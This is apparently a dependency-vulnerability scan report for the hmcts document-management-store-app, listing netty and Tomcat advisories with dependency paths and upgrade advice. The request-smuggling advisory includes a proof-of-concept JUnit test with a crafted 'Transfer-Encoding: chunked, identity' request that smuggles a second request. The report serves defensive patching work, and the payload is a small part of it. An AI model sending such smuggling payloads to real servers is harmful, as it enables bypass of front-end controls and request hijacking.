  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-socks@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-handler@4.1.132.Final io.netty:netty-codec@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-resolver-dns-native-macos@4.1.131.Final io.netty:netty-resolver-dns-classes-macos@4.1.131.Final io.netty:netty-resolver-dns@4.1.131.Final io.netty:netty-codec-dns@4.1.131.Final io.netty:netty-codec@4.1.132.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.projectreactor.netty:reactor-netty-core@1.2.16 io.netty:netty-handler-proxy@4.1.132.Final io.netty:netty-codec-http@4.1.132.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: com.azure:azure-storage-blob@12.34.0

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.netty:netty-codec-http2@4.1.132.Final
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app com.azure:azure-storage-blob@12.34.0 com.azure:azure-storage-internal-avro@12.19.0 com.azure:azure-storage-common@12.33.0 com.azure:azure-core-http-netty@1.16.4 io.projectreactor.netty:reactor-netty-http@1.2.16 io.netty:netty-codec-http2@4.1.132.Final

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 and org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-web@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
